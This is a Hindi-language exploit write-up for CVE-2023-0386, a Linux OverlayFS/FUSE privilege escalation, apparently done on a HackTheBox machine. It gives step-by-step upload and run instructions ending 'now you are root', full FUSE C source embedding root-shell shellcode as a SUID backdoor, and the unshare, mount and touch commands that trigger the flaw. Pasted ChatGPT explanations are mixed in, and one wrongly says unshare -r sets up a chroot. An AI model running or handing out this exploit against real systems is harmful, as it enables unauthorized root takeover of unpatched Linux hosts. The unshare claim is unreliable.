
बहुत सरल CVE-2023-0386 का exp और विश्लेषण। c और sh का उपयोग करें।
typora-copy-images-to: ./image
Exp Usage:
पहला:fuse.c और exp.sh को /tmp निर्देशिका में अपलोड करें।
आप फ़ाइल को लक्ष्य पर अपलोड करने के लिए scp या python3 -m http.server का उपयोग कर सकते हैं।
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #आपकी मशीन
या
cd ~/Desktop/CVE-2023-0386
python3 -m http.server #आपकी मशीन
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c #लक्ष्य
फिर:
cd /tmp
/bin/bash exp.sh
अब, आप रूट हैं!

निम्नलिखित CVE-2023-0386 का विस्तृत विश्लेषण है।
कल मैंने भी इस कमज़ोरी का पूरे दिन अध्ययन किया। सरल शब्दों में कहें तो, जब OverlayFS निचली परत की फ़ाइल को ऊपरी परत पर कॉपी करता है, तो यह जाँच नहीं करता कि निचली परत के नाम स्थान का उपयोगकर्ता वर्तमान उपयोगकर्ता नाम स्थान से मैप किया गया है या नहीं, जिससे suid सेट करके विशेषाधिकार वृद्धि (प्रिविलेज एस्केलेशन) संभव हो पाती है।
यहाँ यह बहुत अमूर्त लगता है। इस समस्या को समझने के लिए पहले कुछ बिंदुओं को जानना आवश्यक है:
ChatGPT: Linux में OverlayFS के बारे में विस्तार से बताएँ।
OverlayFS, जिसे Overlay फ़ाइल सिस्टम भी कहा जाता है, Linux कर्नेल में एक संयुक्त फ़ाइल सिस्टम (यूनियन फ़ाइल सिस्टम) है। यह कई अलग-अलग फ़ाइल सिस्टम को एक-दूसरे के ऊपर रखकर एक एकल, एकीकृत दृश्य बनाता है। इसे Linux कर्नेल संस्करण 3.18 में आधिकारिक रूप से शामिल किया गया था।
OverlayFS के तीन मुख्य घटक हैं: लोअर फ़ाइल सिस्टम, अपर फ़ाइल सिस्टम और मर्ज्ड फ़ाइल सिस्टम। प्रत्येक भाग की भूमिका इस प्रकार है:
लोअर फ़ाइल सिस्टम (निचला फ़ाइल सिस्टम): यह आधार परत है, जो सामान्यतः केवल-पढ़ने योग्य (रीड-ओनली) होती है। सभी फ़ाइलें और निर्देशिकाएँ मूल रूप से इसी परत से प्राप्त होती हैं।
अपर फ़ाइल सिस्टम (ऊपरी फ़ाइल सिस्टम): यह शीर्ष परत है, जो सामान्यतः लिखने योग्य (रीड-राइट) होती है। जब हम फ़ाइल सिस्टम पर लेखन संचालन करते हैं, तो सभी परिवर्तन इसी परत में सहेजे जाते हैं। यदि कोई फ़ाइल लोअर फ़ाइल सिस्टम में मौजूद है लेकिन हम उसे संशोधित करना चाहते हैं, तो उस फ़ाइल की एक प्रति अपर फ़ाइल सिस्टम में बनाई जाती है, फिर उसे संशोधित किया जाता है। इस प्रक्रिया को "कॉपी-अप" कहा जाता है।
मर्ज्ड फ़ाइल सिस्टम (मर्ज किया गया फ़ाइल सिस्टम): यह OverlayFS का अंतिम दृश्य है, जो लोअर और अपर फ़ाइल सिस्टम को जोड़ता है। जब हम पढ़ने का संचालन करते हैं, तो OverlayFS पहले अपर फ़ाइल सिस्टम में फ़ाइल ढूँढता है; यदि नहीं मिलती, तो लोअर फ़ाइल सिस्टम में ढूँढता है।
इस संरचना का तार्किक दृश्य इस प्रकार है:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
OverlayFS का एक महत्वपूर्ण अनुप्रयोग कंटेनरीकृत अनुप्रयोगों में है, विशेषकर Docker में। Docker में, प्रत्येक इमेज परत केवल-पढ़ने योग्य होती है और अन्य कंटेनरों के लिए लोअर फ़ाइल सिस्टम के रूप में उपयोग की जा सकती है। जब हम एक नया कंटेनर शुरू करते हैं, तो Docker उसके लिए एक नया, खाली अपर फ़ाइल सिस्टम बनाता है। इस प्रकार, कंटेनर में सभी परिवर्तन (जैसे नए सॉफ़्टवेयर स्थापित करना) केवल अपर फ़ाइल सिस्टम को प्रभावित करते हैं, साझा की गई इमेज परतों को नहीं।
इसके अलावा, चूंकि OverlayFS एक अपर परत के नीचे कई लोअर फ़ाइल सिस्टम को माउंट करने की अनुमति देता है, हम कई स्तरों वाला फ़ाइल सिस्टम भी बना सकते हैं, जिसका Docker में इमेज स्तरों में व्यापक अनुप्रयोग है।
संक्षेप में, निचली परत की फ़ाइलें केवल पढ़ने योग्य होती हैं, ऊपरी परत की फ़ाइलें पढ़ने और लिखने योग्य होती हैं, और मर्ज की गई परत निचली और ऊपरी परतों की फ़ाइलों को मिलाकर एक एकीकृत दृश्य प्रदर्शित करती है। जब हम मर्ज की गई परत में किसी ऐसी फ़ाइल को संशोधित करते हैं जो निचली परत में मौजूद है लेकिन ऊपरी परत में नहीं है, तो निचली परत की फ़ाइल को बिना किसी बदलाव के ऊपरी परत में कॉपी कर दिया जाता है ताकि उसे संशोधित किया जा सके। यही वह बिंदु है जहाँ कमज़ोरी ट्रिगर होती है।
GPT: आप एक Linux कर्नेल विशेषज्ञ हैं। कृपया विस्तार से बताएँ कि FUSE क्या है?
FUSE (Filesystem in Userspace) एक तंत्र है जो उपयोगकर्ता स्थान (यूज़रस्पेस) में फ़ाइल सिस्टम बनाने की अनुमति देता है। यह Linux कर्नेल द्वारा प्रदान किया गया एक इंटरफ़ेस है, जो उपयोगकर्ताओं को कर्नेल कोड में बदलाव किए बिना अपने स्वयं के फ़ाइल सिस्टम विकसित और चलाने की सुविधा देता है।
FUSE का मुख्य लक्ष्य नए फ़ाइल सिस्टम के विकास और उपयोग को सरल बनाना है। FUSE का उपयोग करके, आप कर्नेल API के कई विवरणों को जाने बिना कस्टम फ़ाइल सिस्टम बना सकते हैं। यह डिबगिंग, तीव्र प्रोटोटाइप विकास, शैक्षणिक अनुसंधान, और विशेष फ़ाइल सिस्टम (जैसे पारदर्शी एन्क्रिप्शन फ़ाइल सिस्टम, नेटवर्क फ़ाइल सिस्टम) के कार्यान्वयन जैसे परिदृश्यों में बहुत उपयोगी है।
FUSE में, फ़ाइल सिस्टम का अधिकांश तर्क उपयोगकर्ता स्थान में चलता है। इससे विकास आसान हो जाता है क्योंकि उपयोगकर्ता स्थान अधिक अनुकूल विकास वातावरण प्रदान करता है: आप अपनी पसंद की कोई भी प्रोग्रामिंग भाषा उपयोग कर सकते हैं, आपके पास अधिक लाइब्रेरी उपलब्ध होती हैं, त्रुटि प्रबंधन सरल होता है, आदि। दूसरी ओर, इसका अर्थ यह भी है कि FUSE फ़ाइल सिस्टम आमतौर पर कर्नेल स्पेस फ़ाइल सिस्टम की तुलना में धीमे होते हैं क्योंकि उन्हें उपयोगकर्ता स्थान और कर्नेल स्थान के बीच बार-बार कॉन्टेक्स्ट स्विच करना पड़ता है।
FUSE फ़ाइल सिस्टम में आमतौर पर दो भाग होते हैं:
FUSE फ़ाइल सिस्टम विकसित करते समय, आपको कई कॉलबैक फ़ंक्शन लागू करने होते हैं, जो विभिन्न फ़ाइल सिस्टम संचालनों (जैसे फ़ाइल खोलना, फ़ाइल पढ़ना, फ़ाइल लिखना आदि) के अनुरूप होते हैं। जब ये संचालन होते हैं, तो FUSE कर्नेल मॉड्यूल संबंधित कॉलबैक फ़ंक्शन को कॉल करता है और परिणाम कॉलर को लौटाता है।
कुल मिलाकर, FUSE उपयोगकर्ता स्थान में फ़ाइल सिस्टम को लागू करने के लिए एक शक्तिशाली ढाँचा प्रदान करता है, जो फ़ाइल सिस्टम के विकास को सरल बनाता है और साथ ही फ़ाइल सिस्टम को मॉड्यूलर तरीके से विस्तारित और संशोधित करने की अनुमति देता है।
वास्तव में, FUSE उपयोगकर्ता को एक कस्टम फ़ाइल सिस्टम और उसके अंदर फ़ाइलों को परिभाषित करने की अनुमति देता है।
हमें FUSE से संबंधित कोड C भाषा में लिखने की आवश्यकता है।
आप एक Linux कर्नेल विशेषज्ञ हैं। उपयोगकर्ता नाम स्थान क्या है?
Linux में, "नेमस्पेस" एक कर्नेल विशेषता है जिसका उपयोग प्रक्रियाओं के दृश्य को अलग करने के लिए किया जा सकता है, ताकि एक प्रक्रिया केवल उसी नेमस्पेस के संसाधनों को देख सके। प्रत्येक प्रकार का नेमस्पेस एक विशिष्ट प्रकार के संसाधन से मेल खाता है। उदाहरण के लिए, PID (प्रक्रिया ID) नेमस्पेस का उपयोग प्रक्रिया IDs को अलग करने के लिए किया जाता है, Net नेमस्पेस का उपयोग नेटवर्क इंटरफ़ेस और नेटवर्क स्टैक को अलग करने के लिए किया जाता है, Mount नेमस्पेस का उपयोग फ़ाइल सिस्टम माउंट पॉइंट्स को अलग करने के लिए किया जाता है, आदि।
उपयोगकर्ता नाम स्थान (User Namespace) Linux नेमस्पेस का एक प्रकार है, जो मुख्य रूप से उपयोगकर्ता और समूह IDs को अलग करने के लिए उपयोग किया जाता है। प्रत्येक उपयोगकर्ता नाम स्थान के पास उपयोगकर्ता और समूह IDs का अपना सेट होता है। उदाहरण के लिए, एक प्रक्रिया उपयोगकर्ता नाम स्थान A में रूट उपयोगकर्ता (UID 0) के रूप में चल सकती है, लेकिन उपयोगकर्ता नाम स्थान B में, वह प्रक्रिया केवल एक सामान्य उपयोगकर्ता हो सकती है।
इसका लाभ यह है कि भले ही कोई प्रक्रिया अपने उपयोगकर्ता नाम स्थान के भीतर रूट विशेषाधिकार रखती हो, वह अन्य उपयोगकर्ता नाम स्थानों के संसाधनों को प्रभावित नहीं कर सकती, क्योंकि दूसरे नाम स्थानों में वह केवल एक सामान्य उपयोगकर्ता हो सकती है। यह सिस्टम की सुरक्षा को काफी बढ़ाता है, जिससे भले ही कोई कंटेनर (जो वास्तव में अपने स्वयं के नेमस्पेस सेट में चलने वाली प्रक्रियाओं का एक समूह है) हमला किया जाए, हमलावर होस्ट सिस्टम या अन्य कंटेनरों को प्रभावित नहीं कर सकता।
उपयोगकर्ता नाम स्थान Linux कंटेनरों (जैसे Docker, LXC आदि) की मुख्य तकनीकों में से एक है। उपयोगकर्ता नाम स्थान और अन्य प्रकार के नेमस्पेस का उपयोग करके, कंटेनर वर्चुअलाइज़ेशन की आवश्यकता के बिना वर्चुअल मशीनों के समान अलगाव प्रदान कर सकते हैं।
कुल मिलाकर, उपयोगकर्ता नाम स्थान Linux में उपयोगकर्ता और समूह IDs को अलग करने का एक तंत्र है, जो सिस्टम और कंटेनरों की सुरक्षा बढ़ाने में महत्वपूर्ण भूमिका निभाता है।
उपयोगकर्ता नाम स्थान मैपिंग क्या है?
Linux उपयोगकर्ता नाम स्थान में, हमारे पास एक बहुत ही महत्वपूर्ण अवधारणा है: उपयोगकर्ता नाम स्थान मैपिंग। यह मैपिंग परिभाषित करती है कि विभिन्न उपयोगकर्ता नाम स्थानों के बीच उपयोगकर्ता और समूह IDs का रूपांतरण कैसे किया जाए। अर्थात, एक प्रक्रिया जो एक उपयोगकर्ता नाम स्थान के अंदर रूट दिखती है, होस्ट या किसी अन्य नाम स्थान में केवल एक सामान्य गैर-विशेषाधिकार प्राप्त उपयोगकर्ता हो सकती है।
इस मैपिंग तंत्र को /proc/[pid]/uid_map और /proc/[pid]/gid_map फ़ाइलों को संशोधित करके सेट किया जा सकता है, जहाँ [pid] प्रक्रिया का PID है। इन फ़ाइलों में, प्रत्येक पंक्ति एक मैपिंग आइटम है, जिसमें तीन फ़ील्ड होते हैं: नाम स्थान के अंदर की ID, नाम स्थान के बाहर की ID, और IDs की सीमा। उदाहरण के लिए, "0 1000 1" का अर्थ है कि नाम स्थान के अंदर की ID 0, नाम स्थान के बाहर की ID 1000 से मैप होती है।
उदाहरण के लिए, उपयोगकर्ता नाम स्थान A में चलने वाली एक प्रक्रिया का उपयोगकर्ता ID 0 हो सकता है, जो दिखता है कि वह रूट उपयोगकर्ता है। लेकिन, यदि हम उपयोगकर्ता नाम स्थान मैपिंग में 0 को 1000 से मैप करते हैं, तो होस्ट नाम स्थान और अन्य उपयोगकर्ता नाम स्थानों के लिए, उस प्रक्रिया का उपयोगकर्ता ID 1000 होगा, अर्थात एक सामान्य उपयोगकर्ता।
इस प्रकार, उपयोगकर्ता नाम स्थान मैपिंग एक विधि प्रदान करती है जिससे कोई प्रक्रिया अपने उपयोगकर्ता नाम स्थान के भीतर पूर्ण विशेषाधिकार (जैसे, रूट उपयोगकर्ता) रख सकती है, जबकि अन्य नाम स्थानों में वह केवल एक सामान्य उपयोगकर्ता बनी रहती है, जो अलगाव और सुरक्षा के लिए बहुत महत्वपूर्ण है।
क्योंकि निचली परत के फ़ाइल सिस्टम में फ़ाइलें उपयोगकर्ता द्वारा अत्यधिक नियंत्रित (FUSE जनरेटेड) होती हैं, कोई भी कस्टम फ़ाइल, जैसे suid फ़ाइल, बनाई जा सकती है (लेकिन सुरक्षा के लिए, FUSE में कुछ डिफ़ॉल्ट प्रतिबंध हैं। उनमें से एक यह है कि यह डिफ़ॉल्ट रूप से nosuid माउंट करता है, अर्थात FUSE फ़ाइल सिस्टम पर setuid और setgid बिट्स को अनदेखा किया जाता है, हालांकि FUSE द्वारा इसे अनदेखा किया जाता है, suid बिट अभी भी मौजूद रहता है)। लेकिन हम एक nosuid सिस्टम में suid फ़ाइल को OverlayFS की विशेषता के माध्यम से निचली परत से ऊपरी परत पर कॉपी कर सकते हैं, जहाँ ऊपरी परत एक सामान्य फ़ाइल सिस्टम है, जिसके परिणामस्वरूप अवैध suid फ़ाइल वास्तविक suid विशेषाधिकार प्राप्त कर लेती है, और इस प्रकार विशेषाधिकार वृद्धि होती है।
तैयारी के लिए कई फ़ोल्डर बनाने और एक OverlayFS बनाने की आवश्यकता है।
cd /tmp
mkdir fuse upper overlay workdir
fuse वह फ़ोल्डर है जहाँ उपयोगकर्ता-परिभाषित फ़ाइल सिस्टम स्थित होगा, और यह OverlayFS की निचली परत के रूप में कार्य करेगा।upper OverlayFS की ऊपरी परत के रूप में कार्य करेगा।overlay OverlayFS की मर्ज की गई परत के रूप में कार्य करेगा।workdir OverlayFS का कार्य निर्देशिका है।नीचे दिया गया FUSE कोड मैंने c महोदय के आधार पर संशोधित किया है। https://github.com/chenaotian/CVE-2023-0386
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//FUSE फ़ाइल सिस्टम में hello नामक एक फ़ाइल है, यहाँ फ़ाइल पथ है
const char hello_str[] = {//FUSE फ़ाइल सिस्टम में suid बैकडोर फ़ाइल का बाइनरी कंटेंट
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//फ़ाइल या निर्देशिका की विशेषता जानकारी प्राप्त करने के लिए कॉलबैक फ़ंक्शन getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//FUSE फ़ाइल सिस्टम की मूल निर्देशिका की अनुमति, 0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello फ़ाइल की अनुमति, 777 और SUID सहित
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello फ़ाइल का वास्तविक आकार
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//निर्देशिका जानकारी प्राप्त करने का फ़ंक्शन
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//वर्तमान में केवल FUSE की मूल निर्देशिका देखने की अनुमति है
return -ENOENT;
}
filler(buf, ".", NULL, 0);//डिफ़ॉल्ट रूप से . और .. दिखाएँ
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//FUSE मूल निर्देशिका में एक hello फ़ाइल है
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//फ़ाइल खोलने के लिए open कॉलबैक फ़ंक्शन
{
puts("[+] open_callback");
puts(path);
if (strcmp(path, "hello") == 0)
{
int fd = open("", fi->flags);
return -errno;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//फ़ाइल पढ़ने के लिए read कॉलबैक फ़ंक्शन
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//केवल hello फ़ाइल पढ़ने की अनुमति है
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//hello फ़ाइल की सामग्री लौटाएँ, यानी ऊपर दिया गया बाइनरी ऐरे
} else {
size = 0;
}
return size;
}
static int ioctl_callback(const char *p, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
{
puts("[+] ioctl callback");
printf("path %s\n", p);
printf("cmd 0x%x\n", cmd);
return 0;
}
static struct fuse_operations hellofs_oper = {//केवल ऊपर दिए गए चार कॉलबैक फ़ंक्शन लागू करना पर्याप्त है
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
.ioctl = ioctl_callback
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//कॉलबैक फ़ंक्शन पंजीकृत करें
}
मैंने इसमें एक ioctl_callback फ़ंक्शन जोड़ा है, ताकि बाद में touch फ़ाइल का उपयोग किया जा सके; अन्यथा फ़ंक्शन लागू न होने की त्रुटि आएगी।
scp के माध्यम से फ़ाइल को लक्ष्य मशीन पर स्थानांतरित करें:
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp/root

कंपाइल करें:
gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ gcc fuse.c -o efuse -D_FILE_OFFSET_BITS=64 -lfuse
admin@2million:/tmp/root$ ls
efuse fuse fuse.c overlay upper workdir
FUSE फ़ाइल सिस्टम बनाएँ:
./efuse fuse
देखें कि fuse फ़ोल्डर में एक hello फ़ाइल दिखाई देती है जो root के स्वामित्व में है और suid धारण करती है:

चूँकि वर्तमान में FUSE में nosuid है, भले ही हम इसे निष्पादित करें, विशेषाधिकार वृद्धि नहीं होगी।
unshare -Urm
unshare एक Linux कमांड है जो वर्तमान शेल प्रक्रिया से कुछ प्रकार के नेमस्पेस को "अनशेयर" करने के लिए उपयोग किया जाता है। ऐसा करके अलग-थलग वातावरण बनाए जा सकते हैं, जो वर्चुअलाइज़ेशन के समान है, लेकिन पूर्ण ऑपरेटिंग सिस्टम की आवश्यकता नहीं होती।
unshare कमांड के बाद -Urm पैरामीटर के अर्थ इस प्रकार हैं:
-U विकल्प उपयोगकर्ता नेमस्पेस को अनशेयर करने का संकेत देता है। यह नए शेल प्रक्रिया को अपने स्वयं के उपयोगकर्ता नेमस्पेस में चलाने का कारण बनेगा, जहाँ सभी उपयोगकर्ता और समूह ID मैपिंग अद्वितीय होती हैं। इसका मतलब है, उदाहरण के लिए, हालांकि नई शेल प्रक्रिया सोच सकती है कि वह रूट उपयोगकर्ता के रूप में चल रही है, बाहर से, वह एक अलग, गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में चल सकती है।-r विकल्प एक नई रूट निर्देशिका (chroot) स्थापित करने का संकेत देता है, ताकि नई शेल प्रक्रिया वास्तविक फ़ाइल सिस्टम के अन्य भागों तक न पहुँच सके। इसका उपयोग अक्सर एक अलग वातावरण प्रदान करने के लिए किया जाता है, जैसे सॉफ़्टवेयर संकलित करते समय, ताकि यह सिस्टम के अन्य भागों को दूषित न करे।-m विकल्प माउंट स्पेस को अनशेयर करने का संकेत देता है। यह नई शेल प्रक्रिया को माउंट पॉइंट बदलने की अनुमति देता है, और ये परिवर्तन अन्य प्रक्रियाओं को प्रभावित नहीं करेंगे। उदाहरण के लिए, यह नए फ़ाइल सिस्टम माउंट कर सकता है, या मौजूदा माउंट पॉइंट्स की विशेषताओं को बदल सकता है, बिना सिस्टम के अन्य भागों को प्रभावित किए।कुल मिलाकर, unshare -Urm कमांड एक नया, अलग-थलग वातावरण बनाता है, जिसका अपना उपयोगकर्ता, समूह, माउंट पॉइंट और रूट निर्देशिका होती है, जो सिस्टम के अन्य भागों से पूरी तरह से अलग होता है।
पहले से मौजूद FUSE फ़ाइल सिस्टम को निचली परत के रूप में, upper निर्देशिका को ऊपरी परत के रूप में, और overlay को मर्ज की गई परत के रूप में उपयोग करते हुए:
mount -t overlay overlay -o lowerdir=fuse,upperdir=upper,workdir=workdir overlay
अब, मर्ज की गई परत में hello फ़ाइल दिखाई देती है:

यहाँ हमें hello फ़ाइल को संशोधित करने की आवश्यकता है ताकि hello की एक प्रति upper फ़ाइल में कॉपी हो सके। हम इसे touch कमांड के माध्यम से प्राप्त करते हैं।
यदि हम किसी मौजूदा फ़ाइल को touch करते हैं, तो यह फ़ाइल के टाइमस्टैम्प को संशोधित करेगा। टाइमस्टैम्प फ़ाइल के मेटाडेटा के रूप में संशोधित होता है, और स्वाभाविक रूप से कॉपी-अप ट्रिगर होता है। (यदि पहले ioctl_callback कॉलबैक फ़ंक्शन नहीं जोड़ा गया होता, तो touch संभव नहीं होता।)
touch कमांड मुख्य रूप से फ़ाइलों के एक्सेस और संशोधन समय को बदलने के लिए उपयोग किया जाता है, या यदि फ़ाइल मौजूद नहीं है तो एक नई खाली फ़ाइल बनाने के लिए। अधिकांश मामलों में, touch कमांड सीधे ioctl फ़ंक्शन को कॉल नहीं करता है। यह आमतौर पर open, close, utimes, या utimensat जैसे सिस्टम फ़ंक्शन को कॉल करता है।
ioctl एक बहुत ही सामान्य सिस्टम कॉल है जो डिवाइस-विशिष्ट संचालन या उन संचालनों के लिए उपयोग किया जाता है जिन्हें मानक सिस्टम कॉल द्वारा व्यक्त नहीं किया जा सकता। उदाहरण के लिए, इसका उपयोग टर्मिनल की सेटिंग बदलने या नेटवर्क डिवाइस की स्थिति पूछने के लिए किया जा सकता है। हालाँकि, touch कमांड मुख्य रूप से फ़ाइल सिस्टम के साथ इंटरैक्ट करता है, न कि डिवाइस के साथ, इसलिए आमतौर पर ioctl की आवश्यकता नहीं होती।
हालाँकि, इसका मतलब यह नहीं है कि ioctl कभी कॉल नहीं किया जाएगा, क्योंकि फ़ाइल सिस्टम या डिवाइस ड्राइवर विशेष कार्यक्षमता के लिए विशेष ioctl संचालन प्रदान कर सकते हैं। उदाहरण के लिए, कुछ फ़ाइल सिस्टम फ़ाइल टाइमस्टैम्प को संशोधित करने के लिए विशेष ioctl संचालन प्रदान कर सकते हैं। हालाँकि, यह स्थिति बहुत दुर्लभ है और सामान्य touch कमांड के व्यवहार में नहीं आती।
स्पष्ट रूप से देखा जा सकता है कि touch फ़ाइल के माध्यम से, हमें upper में hello प्राप्त होता है।

इसके बाद, हम नेमस्पेस से बाहर निकलते हैं और upper/hello निष्पादित करते हैं, जिससे विशेषाधिकार वृद्धि सफल होती है।
